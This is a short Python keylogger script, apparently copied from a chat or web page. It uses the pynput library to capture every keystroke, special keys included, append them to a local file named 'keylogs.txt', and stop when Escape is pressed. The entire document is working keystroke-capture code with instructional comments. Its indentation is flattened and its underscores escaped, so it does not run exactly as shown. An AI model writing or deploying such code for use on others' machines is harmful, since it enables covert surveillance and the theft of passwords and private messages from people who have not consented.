from pynput import keyboard

# The file where we will store the key logs

log\_file = "keylogs.txt"

# This function will be called whenever a key is pressed

def on\_press(key):

try:

with open(log\_file, "a") as f:

f.write(f"{key.char}")

except AttributeError:

# Special keys (like space, enter, etc.) are represented differently

special\_keys = {

keyboard.Key.space: " ",

keyboard.Key.enter: "\n",

keyboard.Key.tab: "\t",

keyboard.Key.backspace: " [BACKSPACE] ",

keyboard.Key.delete: " [DELETE] ",

keyboard.Key.esc: " [ESC] ",

}

if key in special\_keys:

with open(log\_file, "a") as f:

f.write(special\_keys[key])

else:

with open(log\_file, "a") as f:

f.write(f" [{key}] ")

# This function will be called when a key is released

def on\_release(key):

# You can stop the keylogger by pressing the escape key

if key == keyboard.Key.esc:

return False

# Start listening for key events

with keyboard.Listener(on\_press=on\_press, on\_release=on\_release) as listener:

listener.join()